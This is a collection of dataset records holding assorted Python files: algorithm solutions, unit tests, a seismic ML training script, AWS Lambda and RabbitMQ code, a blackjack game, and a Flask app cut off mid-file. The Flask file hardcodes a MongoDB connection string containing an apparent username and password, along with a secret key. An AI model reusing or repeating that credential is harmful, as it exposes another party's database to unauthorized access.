+{"seq_id":"577870417","text":"# https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/\n# TC:O(N)\n# SC:O(1)\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n if len(prices)==0:\n return 0\n \n max_profit=0\n for i in range(1,len(prices)):\n if(prices[i]>prices[i-1]):\n max_profit+=prices[i] - prices[i-1]\n return max_profit","sub_path":"DataStructures/arrays/stocks/best_time_to_buy_stocks_2.py","file_name":"best_time_to_buy_stocks_2.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"239929174","text":"from datetime import datetime, timedelta\nimport pytest\nfrom nhltv_lib.game import (\n get_days_back,\n get_checkinterval,\n get_games_to_download,\n get_start_date,\n get_end_date,\n check_if_game_involves_team,\n filter_games_with_team,\n fetch_games,\n filter_duplicates,\n create_game_object,\n create_game_objects,\n is_home_game,\n get_team_id,\n filter_games,\n filter_games_that_have_not_started,\n add_game_to_tracking,\n)\n\n\n@pytest.fixture\ndef mock_get_args(mocker):\n return mocker.patch(\"nhltv_lib.game.get_arguments\")\n\n\n@pytest.fixture\ndef mock_get_team_id(mocker):\n return mocker.patch(\"nhltv_lib.game.get_team_id\", return_value=18)\n\n\ndef test_filter_games(mocker, games_data):\n filter_games(games_data) == games_data[\"dates\"][1][\"games\"][6]\n\n\ndef test_filter_games_not_started(mocker, fake_games):\n da = datetime.now()\n mock_time = mocker.patch(\"nhltv_lib.game.datetime\")\n mock_time.now.return_value = da - timedelta(minutes=30)\n mock_time.fromisoformat.return_value = da\n filter_games_that_have_not_started(fake_games) == []\n\n\ndef test_get_days_back(mocker, parsed_arguments, mock_get_args):\n mock_get_args.return_value = parsed_arguments\n assert get_days_back() == 2\n\n\n@pytest.mark.parametrize(\n \"team\", [(\"VGK\", 54), (\"NSH\", 18), (\"DET\", 17), (\"MTL\", 8)]\n)\ndef test_get_team_id_other(\n mocker, parsed_args_list, parsed_args, team, mock_get_args\n):\n parsed_args_list[0] = team[0]\n parsed_arguments = parsed_args(*parsed_args_list)\n mock_get_args.return_value = parsed_arguments\n assert get_team_id() == team[1]\n\n\ndef test_get_checkinterval(mocker, parsed_arguments, mock_get_args):\n mock_get_args.return_value = parsed_arguments\n assert get_checkinterval() == 10\n\n\ndef test_get_checkinterval_non_int(\n mocker, parsed_args_list, parsed_args, mock_get_args\n):\n parsed_args_list[5] = None\n parsed_arguments = parsed_args(*parsed_args_list)\n mock_get_args.return_value = parsed_arguments\n assert get_checkinterval() == 10\n\n\ndef test_get_days_back_non_int(\n mocker, parsed_args_list, parsed_args, mock_get_args\n):\n parsed_args_list[7] = None\n parsed_arguments = parsed_args(*parsed_args_list)\n mock_get_args.return_value = parsed_arguments\n assert get_days_back() == 3\n\n\ndef test_get_games_to_download(mocker, fake_game_objects):\n mocked_start_date = mocker.patch(\"nhltv_lib.game.get_start_date\")\n mocked_end_date = mocker.patch(\"nhltv_lib.game.get_end_date\")\n mocked_fetch_games = mocker.patch(\"nhltv_lib.game.fetch_games\")\n mocked_games_downloaded = mocker.patch(\"nhltv_lib.game.filter_games\")\n mocker.patch(\n \"nhltv_lib.game.create_game_objects\", return_value=fake_game_objects\n )\n games = get_games_to_download()\n mocked_start_date.assert_called_once()\n mocked_end_date.assert_called_once()\n mocked_fetch_games.assert_called_once()\n mocked_games_downloaded.assert_called_once()\n assert games == fake_game_objects\n\n\n@pytest.mark.parametrize(\"days\", [1, 3, 6, -1])\ndef test_get_start_date(mocker, days):\n mocker.patch(\"nhltv_lib.game.get_days_back\", return_value=days)\n assert (\n get_start_date()\n == (datetime.now().date() - timedelta(days=days)).isoformat()\n )\n\n\ndef test_get_end_date():\n assert get_end_date() == datetime.now().date().isoformat()\n\n\ndef test_filter_games_with_team(mocker, games_data):\n mocker.patch(\n \"nhltv_lib.game.check_if_game_involves_team\", return_value=True\n )\n\n assert len(filter_games_with_team(games_data)) == 17\n assert isinstance(filter_games_with_team(games_data), tuple)\n\n\ndef test_filter_games_with_team_no_game(mocker, games_data):\n mocker.patch(\n \"nhltv_lib.game.check_if_game_involves_team\", return_value=False\n )\n\n assert len(filter_games_with_team(games_data)) == 0\n assert isinstance(filter_games_with_team(games_data), tuple)\n\n\ndef test_check_if_game_involves_team(mocker, mock_get_team_id):\n yes = dict(\n teams=dict(home=dict(team=dict(id=18)), away=dict(team=dict(id=7)))\n )\n also_yes = dict(\n teams=dict(home=dict(team=dict(id=8)), away=dict(team=dict(id=18)))\n )\n no = dict(\n teams=dict(home=dict(team=dict(id=19)), away=dict(team=dict(id=7)))\n )\n\n assert check_if_game_involves_team(yes)\n assert check_if_game_involves_team(also_yes)\n assert not check_if_game_involves_team(no)\n\n\ndef test_fetch_games(mocker):\n mock_req_get = mocker.patch(\"requests.get\")\n fetch_games(\"url\")\n mock_req_get.assert_called_with(\"url\")\n\n\ndef test_filter_duplicates():\n yes = ({\"gamePk\": 1}, {\"gamePk\": 2})\n no = ({\"gamePk\": 1}, {\"gamePk\": 1})\n\n assert filter_duplicates(yes) == yes\n assert filter_duplicates(no) != no\n assert len(filter_duplicates(no)) == 1\n assert isinstance(filter_duplicates(yes), tuple)\n\n\ndef test_create_game_objects(mocker):\n mocked_game_obj = mocker.patch(\"nhltv_lib.game.create_game_object\")\n assert isinstance(create_game_objects((\"boo\",)), map)\n\n # tuple call exhausts the generator which calls the mocked func\n tuple(create_game_objects((\"boo\",)))\n mocked_game_obj.assert_called_once_with(\"boo\")\n\n\ndef test_create_game_object(mocker, games_data):\n igame = games_data[\"dates\"][0][\"games\"][0]\n mocker.patch(\"nhltv_lib.game.is_home_game\", return_value=True)\n game = create_game_object(igame)\n assert game.game_id == igame[\"gamePk\"]\n assert game.is_home_game is True\n assert game.streams == igame[\"content\"][\"media\"][\"epg\"][0][\"items\"]\n\n\ndef test_create_game_object_away(mocker, games_data):\n igame = games_data[\"dates\"][1][\"games\"][1]\n mocker.patch(\"nhltv_lib.game.is_home_game\", return_value=False)\n game = create_game_object(igame)\n assert game.game_id == igame[\"gamePk\"]\n assert game.is_home_game is False\n assert game.streams == igame[\"content\"][\"media\"][\"epg\"][0][\"items\"]\n\n\ndef test_is_home_game(mocker, mock_get_team_id):\n assert is_home_game(dict(teams=dict(home=dict(team=dict(id=18)))))\n assert not is_home_game(dict(teams=dict(home=dict(team=dict(id=19)))))\n\n\ndef test_add_game_to_tracking(mocker, games_data):\n mock_track = mocker.patch(\n \"nhltv_lib.game.game_tracking.start_tracking_game\"\n )\n add_game_to_tracking(games_data[\"dates\"][1][\"games\"][1])\n mock_track.assert_called_once_with(\n 2019020180,\n datetime.fromisoformat(\"2019-10-29T23:00\"),\n \"Toronto Maple Leafs\",\n \"Washington Capitals\",\n )\n","sub_path":"tests/unit/test_game.py","file_name":"test_game.py","file_ext":"py","file_size_in_byte":6476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"335838930","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n Script to perform data creation and training for the main case presented in\n the article. For a smaller training set, see Case_small.py\n\"\"\"\n\nfrom vrmslearn.ModelParameters import ModelParameters\nfrom Cases_define import Case_article\nfrom vrmslearn.SeismicGenerator import SeismicGenerator, generate_dataset\nfrom vrmslearn.Trainer import Trainer\nfrom vrmslearn.RCNN import RCNN\nimport os\nimport argparse\nimport tensorflow as tf\nimport fnmatch\n\nif __name__ == \"__main__\":\n\n # Initialize argument parser\n parser = argparse.ArgumentParser()\n\n # Add arguments to parse for training\n parser.add_argument(\n \"--nthread\",\n type=int,\n default=1,\n help=\"Number of threads for data creation\"\n )\n parser.add_argument(\n \"--nthread_read\",\n type=int,\n default=1,\n help=\"Number of threads used as input producer\"\n )\n parser.add_argument(\n \"--logdir\",\n type=str,\n default=\"./logs\",\n help=\"Directory in which to store the checkpoints\"\n )\n parser.add_argument(\n \"--training\",\n type=int,\n default=1,\n help=\"1: training only, 0: create dataset only, 2: training+dataset\"\n )\n parser.add_argument(\n \"--workdir\",\n type=str,\n default=\"./seiscl_workdir\",\n help=\"name of SeisCL working directory \"\n )\n parser.add_argument(\n \"--lr\",\n type=float,\n default=0.0008,\n help=\"learning rate \"\n )\n parser.add_argument(\n \"--eps\",\n type=float,\n default=1e-5,\n help=\"epsilon for adadelta\"\n )\n parser.add_argument(\n \"--batchsize\",\n type=int,\n default=40,\n help=\"size of the batches\"\n )\n parser.add_argument(\n \"--beta1\",\n type=float,\n default=0.9,\n help=\"beta1 for adadelta\"\n )\n parser.add_argument(\n \"--beta2\",\n type=float,\n default=0.98,\n help=\"beta2 for adadelta\"\n )\n parser.add_argument(\n \"--nmodel\",\n type=int,\n default=1,\n help=\"Number of models to train\"\n )\n parser.add_argument(\n \"--noise\",\n type=int,\n default=1,\n help=\"1: Add noise to the data\"\n )\n parser.add_argument(\n \"--use_peepholes\",\n type=int,\n default=1,\n help=\"1: Use peephole version of LSTM\"\n )\n\n\n # Parse the input for training parameters\n args, unparsed = parser.parse_known_args()\n\n savepath = \"./dataset_article\"\n logdir = args.logdir\n nthread = args.nthread\n batch_size = args.batchsize\n\n \"\"\"\n _______________________Define the parameters ______________________\n \"\"\"\n pars = Case_article(noise=args.noise)\n\n \"\"\"\n _______________________Generate the dataset_____________________________\n \"\"\"\n gen = SeismicGenerator(model_parameters=pars)\n\n pars.num_layers = 0\n dhmins = [5]\n layer_num_mins = [5, 10, 30, 50]\n nexamples = 10000\n\n if not os.path.isdir(savepath):\n os.mkdir(savepath)\n\n if args.training != 1:\n for dhmin in dhmins:\n for layer_num_min in layer_num_mins:\n pars.layer_dh_min = dhmin\n pars.layer_num_min = layer_num_min\n this_savepath = (savepath\n + \"/dhmin%d\" % dhmin\n + \"_layer_num_min%d\" % layer_num_min)\n generate_dataset(pars=pars,\n savepath=this_savepath,\n nthread=args.nthread,\n nexamples=nexamples,\n workdir=args.workdir)\n\n\n \"\"\"\n ___________________________Do the training _____________________________\n\n We define 3 stages for inversion, with different alpha, beta gamma in the\n loss function:\n 1st stage: alpha = 0, beta=1 and gamma=0: we train for reflection \n identification\n 2nd stage: alpha = 0.2, beta=0.1 and gamma=0.1: we train for reflection \n identification and vrms, with regularization on vrms time \n derivative (alpha) et higher weights on vrms at reflections\n arrival times (gamma)\n 3rd stage: alpha = 0.02, beta=0.02 and gamma=0.1, we add weight to vrms\n\n \"\"\"\n schedules = [[0.0, 0.95, 0, 0, 0],\n [0.05, 0.1, 0, 0, 0],\n [0.05, 0.1, 0, 0.35, 0.05],\n [0.01, 0.01, 0, 0, 0],\n [0, 0, 0, 0.95, 0.05]]\n niters = [1000, 10000, 10000, 1000, 1000]\n if args.training != 0:\n for nmod in range(args.nmodel):\n restore_from = None\n npass = 0\n for ii, schedule in enumerate(schedules):\n this_savepath = []\n for layer_num_min in layer_num_mins:\n for dhmin in dhmins:\n this_savepath.append(savepath\n + \"/dhmin%d\" % dhmin\n + \"_layer_num_min%d\" % layer_num_min)\n this_logdir = (logdir\n + \"%d\" % nmod\n + \"/%d\" % npass\n + \"_schedule%d\" % ii\n + \"_lr%f_eps_%f\" % (args.lr, args.eps)\n + \"_beta1%f\" % args.beta1\n + \"_beta2%f\" % args.beta2\n + \"_batch_size_%d\" % batch_size)\n\n lastfile = this_logdir + 'model.ckpt-' + str(niters[ii]) + '*'\n\n try:\n isckpt = fnmatch.filter(os.listdir(this_logdir),\n 'model.ckpt-' + str(niters[ii]) + '*')\n except FileNotFoundError:\n isckpt =[]\n\n if not isckpt:\n print(this_logdir)\n pars.layer_dh_min = dhmin\n pars.layer_num_min = layer_num_min\n seismic_gen = SeismicGenerator(model_parameters=pars)\n nn = RCNN(input_size=seismic_gen.image_size,\n batch_size=batch_size,\n alpha=schedule[0],\n beta=schedule[1],\n gamma=schedule[2],\n zeta=schedule[3],\n omega=schedule[4],\n use_peepholes=args.use_peepholes)\n\n if layer_num_min == layer_num_mins[0] and dhmin == dhmins[0]:\n learning_rate = args.lr\n else:\n learning_rate = args.lr/8\n if ii>2:\n learning_rate = args.lr/128\n # Optimize only last layers during last schedule\n if ii == 4:\n with nn.graph.as_default():\n var_to_minimize = tf.trainable_variables(scope='rnn_vint')\n var_to_minimize.append(tf.trainable_variables(scope='Decode_vint'))\n else:\n var_to_minimize = None\n \n trainer = Trainer(NN=nn,\n data_generator=seismic_gen,\n checkpoint_dir=this_logdir,\n learning_rate=learning_rate,\n beta1=args.beta1,\n beta2=args.beta2,\n epsilon=args.eps,\n var_to_minimize=var_to_minimize)\n trainer.train_model(niter=niters[ii],\n savepath=this_savepath,\n restore_from=restore_from,\n thread_read=args.nthread_read)\n restore_from = this_logdir + '/model.ckpt-' + str(niters[ii])\n npass += 1\n","sub_path":"Case_article.py","file_name":"Case_article.py","file_ext":"py","file_size_in_byte":8146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"284226741","text":"#!/usr/bin/env python\n#\n# File: ssmxmlout2col.sh\n# Author: Alex Stivala\n# Created: November 2008\n#\n# ssmxmlout2col.sh - Convert SSM webserver XML output to 2 column\n# format as output by tsrchd_sparse etc. which can\n# be processed with tsevalfn.py etc.\n#\n# Usage: ssmxmlout2col.sh < domain.xml\n# \n# Output has two columns, database id and SSM Pcli score\n#\n# Output is to stdout.\n#\n# Uses the XML output format from the SSM webserver\n# http://www.ebi.ac.uk/msd-srv/ssm/\n#\n# Developed with SSM v2.36 output\n# \n# $Id: ssmxmlout2col.py 2103 2009-03-16 05:15:19Z astivala $\n#\n\nimport os,sys\nfrom xml.dom import minidom\n\nif (len(sys.argv) != 1):\n sys.stderr.write('Usage: ' + sys.argv[0] + '\\n')\n sys.exit(1)\n \ndoc = minidom.parse(sys.stdin)\nmatches = doc.getElementsByTagName(\"Match\")\nfor match in matches:\n qscore = [child for child in match.childNodes\n if child.nodeType == child.ELEMENT_NODE and\n child.nodeName == \"Q-score\"][0]\n qval = qscore.firstChild.data\n target = [child for child in match.childNodes\n if child.nodeType == child.ELEMENT_NODE and\n child.nodeName == \"Target\"][0]\n name = [child for child in target.childNodes\n if child.nodeType == child.ELEMENT_NODE and\n child.nodeName == \"name\"][0]\n sid = name.firstChild.data\n sys.stdout.write('%s %s\\n' % (sid, qval)) \n \n \n\n","sub_path":"scripts/ssmxmlout2col.py","file_name":"ssmxmlout2col.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"593675750","text":"__author__ = 'Randal'\nimport boto3\nimport os\ndef handler(event, context):\n if 'class' in event:\n classs = event[\"class\"]\n else:\n return \"Class not inserted\"\n\n if 'level' in event:\n level = event[\"level\"]\n else:\n return \"Level not inserted\"\n\n is_valid_class, messagge = is_valid_classroom(event[\"class\"], event[\"level\"])\n\n if not is_valid_class:\n return messagge\n\n if exist_classroom(classs, level):\n return \"The class already exist\"\n\n return create_classroom(classs, level)\n\n\n\ndef create_classroom(classs, level):\n response, path = create_folder_in_bucket(classs, level)\n if response['ResponseMetadata']['HTTPStatusCode'] is not 200:\n return \"Error creating the folder in s3 \\n\", response['ResponseMetadata']\n\n response = create_topic(classs, level)\n\n if response['ResponseMetadata']['HTTPStatusCode'] is not 200:\n rollback(s3=True, path=path, sns=False)\n return \"Error creating the topic. Rollback executed\\n\", response['ResponseMetadata']\n arn_topic = response['TopicArn']\n\n response = insert_in_dynamodb(classs, level, path, arn_topic)\n\n if response['ResponseMetadata']['HTTPStatusCode'] is not 200:\n rollback(s3=True, path=path, sns=False, topic=arn_topic)\n return \"Error Inserting in Dynamo DB. Rollback executed \\n\", response['ResponseMetadata']\n\n return \"Classroom created correctly with a foler in \"+path+\" and SNS Topic \"+arn_topic\n\ndef rollback(s3, path, sns, topic=None):\n if s3:\n delete_folder_in_s3(path)\n if sns:\n delete_topic(topic)\n\ndef delete_folder_in_s3(path):\n client = boto3.client('s3')\n response1 = client.delete_object(\n Bucket=os.environ['originalBucket'],\n Key=path\n )\n response2 = client.delete_object(\n Bucket=os.environ['resizedBucket'],\n Key=path\n )\n return response1, response2\n\ndef delete_topic(arn):\n client = boto3.client('sns')\n response = client.delete_topic(\n TopicArn=arn\n )\n return response\n\ndef insert_in_dynamodb(classs, level, path_s3, arn_topic):\n client = boto3.client('dynamodb')\n response = client.put_item(\n TableName=os.environ['tableClassroom'],\n Item={\n 'Class':{\n 'S': classs\n },\n 'Level':{\n 'S': level\n },\n 'Folder':{\n 'S': path_s3\n },\n 'Topic':{\n 'S': arn_topic\n }\n }\n )\n return response\n\n\ndef is_valid_classroom(classs, level):\n if level not in [\"ESO\", \"Infantil\", \"Primaria\", \"Bachillerato\"]:\n return False, \"The Level should be 'Infantil', 'Primaria', 'ESO' or 'Bechillerato'\"\n try:\n classs = int(classs[0])\n except Exception:\n return False, \"The class must have the format: 1A, 2B, 3C...\"\n return True, \"The format of class is valid\"\n\n\ndef exist_classroom(classs, level):\n client = boto3.client('dynamodb')\n response = client.scan(\n TableName=os.environ['tableClassroom'],\n Select='ALL_ATTRIBUTES',\n ScanFilter={\n 'Class': {\n 'AttributeValueList':[{\n 'S': classs\n }\n ],\n 'ComparisonOperator': 'EQ'\n },\n 'Level': {\n 'AttributeValueList':[{\n 'S': level\n }\n ],\n 'ComparisonOperator': 'EQ'\n }\n\n }\n )\n return response[\"Count\"] > 0\n\n\ndef create_folder_in_bucket(classs, level):\n client = boto3.client('s3')\n path = 'Classrooms/'+level+'/'+classs+'/'\n response = client.put_object(\n Bucket=os.environ['originalBucket'],\n Body='',\n Key=path\n )\n if response['ResponseMetadata']['HTTPStatusCode'] is not 200:\n return response\n\n response = client.put_object(\n Bucket=os.environ['resizedBucket'],\n Body='',\n Key=path\n )\n\n return response, path\n\ndef create_topic(classs, level):\n client = boto3.client('sns')\n topic_name = classs+level\n response = client.create_topic(\n Name=topic_name\n )\n return response\n","sub_path":"Lambda/Classrooms/Create Classroom/CreateClassroom.py","file_name":"CreateClassroom.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"361982528","text":"import random\nimport os\n\nlogo = \"\"\"\n.------. _ _ _ _ _\n|A_ _ |. | | | | | | (_) | |\n|( \\/ ).-----. | |__ | | __ _ ___| | ___ __ _ ___| | __\n| \\ /|K /\\ | | '_ \\| |/ _` |/ __| |/ / |/ _` |/ __| |/ /\n| \\/ | / \\ | | |_) | | (_| | (__| <| | (_| | (__| <\n`-----| \\ / | |_.__/|_|\\__,_|\\___|_|\\_\\ |\\__,_|\\___|_|\\_\\\\\n | \\/ K| _/ |\n `------' |__/\n\"\"\"\n\n############### Our Blackjack House Rules #####################\n\n## The deck is unlimited in size.\n## There are no jokers.\n## The Jack/Queen/King all count as 10.\n## The the Ace can count as 11 or 1.\n## cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n## The cards in the list have equal probability of being drawn.\n## Cards are not removed from the deck as they are drawn.\n## The computer is the dealer.\n## Ace equals 11, if score > 11, Ace equals 1\n\ncards = {\n \"2\": 2,\n \"3\": 3,\n \"4\": 4,\n \"5\": 5,\n \"6\": 6,\n \"7\": 7,\n \"8\": 8,\n \"9\": 9,\n \"10\": 10,\n \"Jack\": 10,\n \"Queen\": 10,\n \"King\": 10,\n \"Ace\": 11,\n}\n\n# assign random number of cards to either computer or player\ndef random_card(player,number_drawn_cards):\n \"\"\"add a given number of random cards to the hand - either to computer or player\"\"\"\n for x in range(0,number_drawn_cards):\n drawn_card = random.choice(list(cards))\n player.append({drawn_card: cards[drawn_card]})\n return player\n\n# sum score of the cards\ndef sum_of_cards(player,score):\n \"\"\"sum the score of all cards in player or computer hand\"\"\"\n score = 0\n ace_count = 0\n for dict in player:\n for element in dict:\n score += dict[element]\n if element == 'Ace':\n ace_count += 1\n # if score is > 10, count Aces as 1 not as 11\n if score > 21 and ace_count > 0:\n score = score - 10 * ace_count\n return score\n\n# get all name of the cards - keys in the dictionaries\ndef name_of_cards(player,card_names):\n \"\"\"get the keys from the dcitionary and store in list\"\"\"\n card_names.clear()\n for dicts in player:\n for names in dicts:\n card_names.append(names)\n return card_names\n\n# clear all stats\ndef cleaning():\n \"\"\"reset all stats for a new game\"\"\"\n player_cards.clear()\n computer_cards.clear()\n player_names.clear()\n computer_names.clear()\n player_score = 0\n computer_score = 0\n \n# just to not have so much text, basically the input & print as function\ndef stats():\n print(f\"\"\"Your cards: {name_of_cards(player_cards,player_names)}, current score: {sum_of_cards(player_cards,player_score)}\\n\n Cards of computer: {name_of_cards(computer_cards,computer_names)}\n \"\"\")\n\n# if player wins\ndef player_win():\n print(f\"!!!!!!!!!!!!!!!!!!!!!\\nYEAH! You won\\nComputer: {name_of_cards(computer_cards,computer_names)} - Player: {name_of_cards(player_cards,player_names)}\\nComputer: {sum_of_cards(computer_cards, computer_score)} - Player {sum_of_cards(player_cards,player_score)}\\n!!!!!!!!!!!!!!!!!!!!!\")\n\n# if computer wins\ndef computer_win():\n print(f\"!!!!!!!!!!!!!!!!!!!!!\\nOh no. You loose\\nComputer: {name_of_cards(computer_cards,computer_names)} - Player: {name_of_cards(player_cards,player_names)}\\nComputer: {sum_of_cards(computer_cards, computer_score)} - Player {sum_of_cards(player_cards,player_score)}\\n!!!!!!!!!!!!!!!!!!!!!\")\n\n\nplayer_cards = []\ncomputer_cards = []\nplayer_score = 0\ncomputer_score = 0\nplayer_names = []\ncomputer_names = []\n\nplaying_game = True\n\nwhile playing_game:\n game_active = True\n cleaning()\n if input(\"Do you you want to play a game of Blackjack? Typ 'y' or 'n'\") == 'y':\n os.system('cls')\n print(logo)\n # give player 2 starting cards\n random_card(player_cards, 2)\n # give computer 1 starting card\n random_card(computer_cards, 1)\n stats()\n while game_active: \n if input(\"Type 'y' to get another card, type 'n' to pass: \").lower() == 'y':\n random_card(player_cards, 1)\n # if statement to check if player has more than 21 (and loses the game)\n if sum_of_cards(player_cards,player_score) > 21:\n stats()\n print(\"!!!!!!!!!!!!!!!!!!!!!\\nOh no, you went over. You loose\\n!!!!!!!!!!!!!!!!!!!!!\")\n game_active = False\n else:\n stats()\n else:\n # player finished her turn; computer now draws cards; draws card if below 15 OR below 17 AND one card is an ace\n computer_turn = True\n random_card(computer_cards, 1)\n while computer_turn:\n if sum_of_cards(computer_cards, computer_score) > 21:\n stats()\n player_win()\n computer_turn = False\n game_active = False\n elif sum_of_cards(computer_cards, computer_score) >= sum_of_cards(player_cards,player_score):\n computer_win()\n computer_turn = False \n game_active = False\n # if computer score below 15, draw another card\n elif sum_of_cards(computer_cards, computer_score) <= 15:\n random_card(computer_cards, 1)\n # if computer scores below 16 AND player above 16: computer tries another card\n elif sum_of_cards(computer_cards, computer_score) <= 16 and sum_of_cards(player_cards,player_score) > 16:\n random_card(computer_cards, 1)\n else:\n stats()\n if sum_of_cards(computer_cards, computer_score) >= sum_of_cards(player_cards,player_score):\n computer_win()\n computer_turn = False \n game_active = False\n else:\n player_win()\n computer_turn = False \n game_active = False\n else:\n print(\"You don't want to play BlackJack? You came to the wrong neighbourhood then! Anyway, have a great day!\")\n playing_game = False\n","sub_path":"BlackJack/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"95723407","text":"# 生产者代码\nimport pika\n\n\n# 可以分配不同的用户管理不同的功能。\ncredentials = pika.PlainCredentials('geektime', 'geektime')\n\n\n# 虚拟队列参数\nparameters = pika.ConnectionParameters(\n host='localhost',\n port=5672,\n virtual_host='/', # 虚拟队列一般不用填写。\n credentials=credentials\n)\n\n# 阻塞方法\n# 消费者连接到mq,默认阻塞,当有新的消息才处理,默认阻塞。\nconnection = pika.BlockingConnection(parameters)\n\n# 建立信道\n\nchannel = connection.channel()\n\n# 声明消息队列,也就是消息的载体,既可以publish声明,也可以消费者声明。声明发现不存在,就创建,发现存在就直接使用。\n# 一般订阅发布两边都声明一遍,因为订阅发布两端都是客户端,只是角色不同而已。有可能生产者先启动或者消费者先启动。\n# 如果不存在自动创建\n# durable=True 队列持久化。保存在硬盘上面。\nchannel.queue_declare(queue='direct_demo', durable=True)\n\n# 往队列发布信息\n# 指定交换机\n# 指定交换机为空,此处直接生产者写队列。\n# routing_key使用哪一个队列\n# body是消息,但是一般为json或者xml格式的字符串。\nchannel.basic_publish(exchange='', routing_key='direct_demo',\n body='send message to rabbitmq'\n )\n\n# 关闭连接\nconnection.close()\n\n# 执行没有返回值。一般认为已经建立连接并发送。\n# 观察网页变化\n\n\n","sub_path":"week05/rabbitmq_basic/mod5_rabbit_publish.py","file_name":"mod5_rabbit_publish.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"268673216","text":"#!/usr/bin/env python\n\n\"\"\"A kernel for OpenMM simulations\n\"\"\"\n\n__author__ = \"Vivek \"\n__copyright__ = \"Copyright 2017, http://radical.rutgers.edu\"\n__license__ = \"MIT\"\n\nfrom copy import deepcopy\n\nfrom radical.entk import NoKernelConfigurationError\nfrom radical.entk import KernelBase\n\n# ------------------------------------------------------------------------------\n# \n_KERNEL_INFO = {\n\t\t\t\"name\": \"msm\",\n\t\t\t\"description\": \"Execute openmm python scripte\",\n\t\t\t\"arguments\": {\"--lag=\": \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"mandatory\": True,\n\t\t\t\t\t\t\t\"description\": \"Lag time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\"--clusters=\":\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"mandatory\": True,\n\t\t\t\t\t\t\t\"description\": \"Number of clusters\"\n\t\t\t\t\t\t},\n \"--pdb=\":\n {\n \"mandatory\": True,\n \"description\": \"Pdb filename\"\n },\n \"--components=\":\n {\n \"mandatory\": True,\n \"description\": \"Number of components\"\n },\n \"--stride=\":\n {\n \"mandatory\": True,\n \"description\": \"Number of components\"\n },\n\n\t\t\t\t\t},\n\t\t\t\"machine_configs\": \n\t\t\t{\n\t\t\t\t\"xsede.stampede\": {\n\t\t\t\t\t\"environment\" : None,\n\t\t\t\t\t\"pre_exec\" : ['export PATH=/home1/02734/vivek91/miniconda2/bin:$PATH','source activate msm_env'],\n\t\t\t\t\t\"executable\" : \"python\",\n\t\t\t\t\t\"uses_mpi\" : False\n\t\t\t\t},\n\n \"xsede.supermic\": {\n \"environment\" : None,\n \"pre_exec\" : ['export PATH=/home/vivek91/miniconda2/bin:$PATH','source activate openmm_env'],\n \"executable\" : \"python\",\n \"uses_mpi\" : False\n }\n\t\t\t}\n\t}\n\n\n# ------------------------------------------------------------------------------\n# \nclass msm_kernel(KernelBase):\n\n\t# --------------------------------------------------------------------------\n\t#\n\tdef __init__(self):\n\t\t\"\"\"Le constructor.\n\t\t\"\"\"\n\t\tsuper(msm_kernel, self).__init__(_KERNEL_INFO)\n\n\n\t# --------------------------------------------------------------------------\n\t#\n\tdef _bind_to_resource(self, resource_key):\n\t\t\"\"\"(PRIVATE) Implements parent class method. \n\t\t\"\"\"\n\t\tif resource_key not in _KERNEL_INFO[\"machine_configs\"]:\n\t\t\tif \"*\" in _KERNEL_INFO[\"machine_configs\"]:\n\t\t\t\t# Fall-back to generic resource key\n\t\t\t\tresource_key = \"*\"\n\t\t\telse:\n\t\t\t\traise NoKernelConfigurationError(kernel_name=_KERNEL_INFO[\"name\"], resource_key=resource_key)\n\n\t\tcfg = _KERNEL_INFO[\"machine_configs\"][resource_key]\n\n\t\texecutable = cfg['executable']\n\t\targuments = ['analyze.py','--lag', self.get_arg('--lag='),\n '--clusters', self.get_arg('--clusters='),\n '--pdb', self.get_arg('--pdb='),\n '--components', self.get_arg('--components='),\n '--stride', self.get_arg('--stride=') ]\n\n\t\tself._executable = executable\n\t\tself._arguments = arguments\n\t\tself._environment = cfg[\"environment\"]\n\t\tself._uses_mpi = cfg[\"uses_mpi\"]\n\t\tself._pre_exec = cfg[\"pre_exec\"]\n\n","sub_path":"msm.py","file_name":"msm.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"131531592","text":"import os\nfrom app import app\nfrom flask import render_template, request, redirect, session, url_for\n# from bson.objectid import ObjectID\n\nfrom flask_pymongo import PyMongo\n#\napp.secret_key = \"sdjfhbj;\"\n# name of database\napp.config['MONGO_DBNAME'] = 'advance'\n\n# URI of database\napp.config['MONGO_URI'] = 'mongodb+srv://William_Lu:C5V1vvx7OLjks3qz@cluster0-h4hvy.mongodb.net/test?retryWrites=true&w=majority'\n\nmongo = PyMongo(app)\n\n\n@app.route('/')\n\n@app.route(\"/menu\")\ndef menu():\n return render_template('menu.html')\n\n\n@app.route('/index')\n\ndef index():\n session['username'] = \"William\"\n # connect to the database\n collection = mongo.db.events\n #query the database to all events\n events = list(collection.find({}))\n # store events as a dictionary call events\n for x in events:\n print(x[\"event_name\"])\n # print event\n return render_template('index.html', events = events)\n\n\n# CONNECT TO DB, ADD DATA\n\n@app.route('/results', methods = [\"get\",\"post\"])\n\ndef results():\n # shore userinf from the form\n userinfo = dict(request.form)\n print(userinfo)\n # get the event name and date and store them\n event_name = userinfo[\"event_name\"]\n event_date = userinfo[\"event_date\"]\n event_type = userinfo[\"category\"]\n # connect to the database\n collection = mongo.db.events\n # insert new data\n collection.insert({\"event_name\": event_name, \"event_date\": event_date,\"event_type\": event_type})\n # collection.insert({\"event_name\":\"test\", \"event_date\":\"today\"})\n # return a message to the user\n return 